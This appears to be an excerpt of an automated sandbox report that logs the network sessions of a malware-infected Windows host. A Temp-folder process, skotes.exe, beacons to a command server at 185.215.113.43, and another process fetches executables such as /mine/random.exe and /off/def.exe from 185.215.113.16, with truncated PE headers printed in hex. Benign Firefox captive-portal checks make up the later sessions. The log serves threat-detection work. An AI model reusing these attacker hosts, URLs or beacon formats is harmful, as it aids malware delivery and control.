41	192.168.2.7	50089	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:08.922266960 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:03:09.843833923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	50093	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:11.478573084 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:03:12.395587921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	50095	185.215.113.16	80	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:12.885375977 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:03:13.803611040 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:13 GMT Content-Type: application/octet-stream Content-Length: 1895936 Last-Modified: Thu, 24 Oct 2024 01:49:23 GMT Connection: keep-alive ETag: "6719a7a3-1cee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@ K@WkJJ @.rsrc@.idata @ P*@iropgfss1@gmutwtzhJ@.taggant0J"@
Oct 24, 2024 04:03:13.803683043 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:03:13.803740978 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:03:13.803792000 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:03:13.803833961 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:03:13.803881884 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:03:13.803930044 CEST	1236	IN	Data Raw: c6 4a 0f 8a 80 7c 74 51 f8 c1 30 be a3 cd 1d bb c7 82 01 4d 0e c9 30 0a 89 85 20 bb 86 b9 9e 22 0b 03 73 da ef cb e2 21 98 98 b7 22 88 83 83 0d b8 5b 77 aa 23 d7 77 69 ba c9 5e ab ca b8 0f 2a 80 05 19 2a 27 31 bf de aa e5 86 1e 9a 25 23 dc 06 ba Data Ascii: J\|tQ0M0 "s!"[w#wi^*'1%#u~sWF=1J]s0*Y,-T&V0}F0TvIy2-U?=9^$4?I3-1\|\|i?
Oct 24, 2024 04:03:13.803975105 CEST	636	IN	Data Raw: 5f 15 eb 9d 1b 63 bb 12 d7 ec 56 3b 90 13 b2 aa a3 7f 0d 72 d2 1e 08 92 48 00 42 e7 99 d2 44 f9 c5 eb 34 ad ed 98 00 d0 98 ca 10 aa 7f 87 d2 bb 17 f2 75 39 84 83 a0 f2 2f d9 43 20 43 a3 a3 5a 91 2c d3 92 48 b9 a1 88 82 b1 9d 36 70 83 ea 38 7a 34 Data Ascii: _cV;rHBD4u9/C CZ,H6p8z4qcy3h6884NXGaJc^*%Sq==ZBEZ?+.},hb+ D<$\\|T'DZ8H"(\|'=HXy
Oct 24, 2024 04:03:13.804020882 CEST	1236	IN	Data Raw: eb b8 cd df 4a 1e 95 a5 f2 81 f1 26 ec ed 75 8d 54 49 b1 c5 38 2c fa 91 7a 1b 0f a8 3c 67 fb 93 88 ef c6 d8 31 e3 3a 6b fb 71 fe dc 78 b1 54 23 8c b1 b4 de 44 ab ae 85 90 3f 00 d2 50 24 6d 80 60 8a 97 4f 7f 98 ac bc 9c 8c 32 46 de bd c8 a0 9b cf Data Ascii: J&uTI8,z<g1:kqxT#D?P$m`O2Fti,l^DZqdroxXqf6\|n8&p9@2vC<SJjp%>j0 jtAu&Z'hA?{<,Flb?56
Oct 24, 2024 04:03:13.804069042 CEST	1236	IN	Data Raw: cf aa 36 1e 32 d0 5d 83 45 1b 05 f5 dd f6 66 ba bd 3b b7 a6 b7 0d 29 cc ab c2 1c ae 45 09 12 0a bc bd 26 ed 2b 26 c0 73 9d 2c e7 0d 84 01 45 03 9c 90 4a 9b ec 89 d7 c6 0d cb 0a 63 b2 e1 5c dd b3 29 63 eb a4 dc c0 1d b9 e2 26 65 82 64 bf 64 39 4a Data Ascii: 62]Ef;)E&+&s,EJc\)c&edd9Jcl:{}9,g4u2#G4M2RuzsF]JJ/#+o'@<Z 3joeZwz.g[g'o4Y%9;Z[F&+nyA=4B#eDS=
Oct 24, 2024 04:03:13.810170889 CEST	1236	IN	Data Raw: fe fb ba a9 8a ef 36 7b d0 b1 70 da 1b 67 b7 73 96 fa 03 b3 fd c4 4d a2 c2 80 33 b1 c9 f4 f2 1e 6c 4c 82 bf 87 f0 ce 08 80 35 48 eb ef a7 e7 e8 51 8f 83 4d e6 74 e8 b9 6f b8 79 c1 2b 85 ee e7 41 12 6c 19 ca 37 af e7 df 4b 05 d6 07 56 31 42 c4 15 Data Ascii: 6{pgsM3lL5HQMtoy+Al7KV1BsNKF.78CKClNU$c1%D#\|yN-X<$vbNmX4A4/5A4 zxq}V~!Z*$p&
Oct 24, 2024 04:03:19.164800882 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:03:19.449764967 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:19 GMT Content-Type: application/octet-stream Content-Length: 1918464 Last-Modified: Thu, 24 Oct 2024 01:49:16 GMT Connection: keep-alive ETag: "6719a79c-1d4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 90 6c 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6c 00 00 04 00 00 72 5c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$l@lr\@P%d% %(@.rsrc %8@.idata %8@ +%:@fzxkvimrQ<@ubuokytul @.taggant0l"$@
Oct 24, 2024 04:03:21.568908930 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:03:21.855686903 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:21 GMT Content-Type: application/octet-stream Content-Length: 2742272 Last-Modified: Thu, 24 Oct 2024 01:44:44 GMT Connection: keep-alive ETag: "6719a68c-29d800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ %Z`Ui` @ @.rsrc`2@.idata 8@vxijesvo)x):@eoamyyhq )@.taggant@@")@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	50096	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:13.922734976 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:03:14.882239103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	50097	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:16.514765978 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:03:17.440721035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	50100	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:19.043617964 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:03:19.960443974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	50106	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:19.687217951 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:03:20.291516066 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35461 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	50116	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:03:20.414813995 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:21.008121967 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47375 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:21.607608080 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:21.733127117 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47376 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:21.773161888 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:21.898077965 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47376 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:22.293540955 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:22.418812990 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47377 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:22.439049006 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:22.563843966 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47377 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:22.940495014 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:23.065927982 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47378 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:23.579401970 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:23.704387903 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47378 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:24.209853888 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:24.334990978 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47379 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:24.848402977 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:24.973361015 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47379 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:26.747467995 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:26.872869015 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47381 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:36.882287025 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 04:03:37.403753042 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:03:37.530822992 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47392 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:03:47.539581060 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 04:03:50.931638002 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
